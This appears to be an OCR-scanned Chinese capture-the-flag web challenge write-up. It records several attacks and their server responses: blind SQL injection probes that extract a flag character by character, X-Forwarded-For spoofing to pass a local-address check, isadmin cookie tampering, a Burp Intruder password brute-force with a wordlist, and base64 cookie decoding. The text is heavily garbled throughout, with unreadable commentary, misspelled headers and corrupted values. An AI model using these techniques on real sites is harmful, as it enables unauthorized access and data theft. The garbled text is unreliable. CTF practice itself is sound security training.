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?id=1 and exists(select flag from flag)

BRTBEKE
?id=1 and (select length(flag) from flag)>5

BIRFE N A Rasciiig
1 and (select ord(substr(flag, 1, 1))from flag)>39
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<title=hehe~</title>

<fhead=

<body alink="#007000" bgcolor="#000000" link="gold" text="#008000" vlink="#00c000">
<center=<script>alert(’Only allowed access hy local address~Y)</script=</center=
</html= — —_—

B, R R FEA G, I2BMAEIP: X-Forwarded-For:127.0.0.14k4:GO



HTTP/1.1 200 OK

Date: Tue, 10 Apr 2018 12:38:07 GMT
Server: Apache/2.4.7 (Unix) PHP/S.3.27
¥-Powered-By: PHP/S.3.27

Set-Cookie: isadmin=0

Caontent-Length: 291

Connection: close

Caontent-Type: text/html

<html=<head=<meta http-equiv="Content-Type" content="text/html; charset=utf8"=
<title=hehe~</title>

<fhead=>

<hady alink="#007000" bgcolar="#000000" link="gald" text="#008000" vlink="#00c000">
<center=<script>alert{’'You are not admin.Get out!)</script=</center=

</html=> T
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GET fwebfweb3/index.php HTTR/.1

Host: 39.107.92.230

User-Agent: Mozillas.0 (Windows MT 10.0; Win64; x64; n:49.0) Gecko/20100101 F
Accept: text/html application/xhtml+xml application/xml, q=0.9 % q=0.8
Accept-Language: zh-CM,zh;q=0.8 en-US;q=0.5 en;q=0.3
¥-Forwarded-For:127.0.0.1

Accept-Encoding: gzip, deflate

Referer: http:/iwhalectf xin/challenges

Cookie: isadmin=0

ConneC =T e —

Upgrade-Insecure-Requests: 1

TR, 4ELEGO, flaghiRT

HITHEM.T 200 Ok

Date: Tue, 10 Apr 2018 12:43:.01 GMT
Server: Apache/2.4.7 (Unix) PHP/&A.3.27
¥-Powered-By: PHP/S.3.27

Set-Cookie: isadmin=0

Content-Length: 265

Connection: close

Content-Type: text/html

<html=<head=<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title=hehe~</title>

</head=>

<hody alink="#307000" bgcolo="#000000" link="gold" text="#008000" viink="#00c000"=>

<center>flag:{\illaymedSpRur S </canter>

</html=
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noadmin
cms
iamnotadmin
fuckit
fuckhack
fuckhacker
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Attack Sawe Columns

Rt v [ Postons | poyense | oon

| Filter: Showing all items ‘@
Request | Payload Status  Eror  Timeout |Length | Comment
83 | NsflcuS 200 O O 2050 0
0 200 U 1923
1 200 O O 1923
2 584521 200 O [l 1923
3 nohack 200 O ] 1923
4 45189946 200 U U 1923
5 hacksb 200 Il L 1923
3 hackersb 200 O O 1923
T heixiaozi 200 g ] 1923
8 360 200 0] 0 1 F |
E Response
HPmms IHeaders IHex ]
POST fwebfwebSAndex. php HTTPMA 1 :

Host: 39,107.92 230

UserAgent: Mozilla/s 0 (Windows NT 10.0; WinG4; x64; nv49.0) Gecko/20100101 Firefox/45.0
Accept: texthtml application/xhtmil+xml application/sml,q=0.9*/* q=0.8

Accept-Language: zh-CN zh;q=0.8 en-US5;q=0.5 en;g=0.3

Accept-Encoding: gzip, deflate

Referer: http://39 107 92 230/webiwebblindex php

Connection: closa

Upgrade-Insecure-Requests: 1

Contant-Type: apphcation/x-www-forme-urlencodad

Content-Length: 31

usemame=admin&password=hNslcusS
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QJ uJ uJ uJ Type a search term 0 matches

Finished

REER T, ILRNBEMAEF, BRESX, ARXT, BELEEFResponse, L E —Hbase64 N H

Request

Hmmem]mxTHML]m]
HTTP/ 1 200 0K [
Date: Tua, 10 Apr 2018 23:30:41 GMT

Sener: Apache/2. 4.7 (Unix) PHPS 3.27

X-Powered-By: PHP/E 3.27

Set-Cookie: newpage=MjkwY mNhNzBINZRhZTk zZGIZMNJQDZmEwWMGKZDgz YikucGhw, expires=Tue, 10-Apr-2018 23.31:41 GMT
Content-Length: 1753

Connaction: close

Content-Type: text/html

<html|=
<head>
<titlz>password.tet</title>
<meta http-equiv="Content-Type” content="text/html; charsst=utf-8" />

</head>
<body alink="gold" bgcolor="#000000" link="gold" text="#003000" vlink="#00c000" charset="utf-8" > !

EJ EJ B EJ Type a search ferm 0 matches

fRRDH —ANWEER, 48N, RI—NDNEESIK
Bs— TRk, FERUKSE BN, BPIEEM —T, guestifroot,isLogin=1Hflag (FE S Hk)



HTTP/1.1 200 OK

Date: Tue, 10 Apr 2018 23:39:21 GMT

Server: Apache/2.4.7 (Unix) PHP/S.3.27

¥-Powered-By: PHP/S.3.27

Set-Cookie: Flag=flaq @Rl =xpires=Tue, 10-Apr-2018 23:40:21 GMT
Caontent-Length: 1980

Connection: close

Caontent-Type: text/html

<html=

<head>
<meta http-equiv="Content-Type" content="text/html; charset=uttg" /=
<title>WelCome To /B & & </title>
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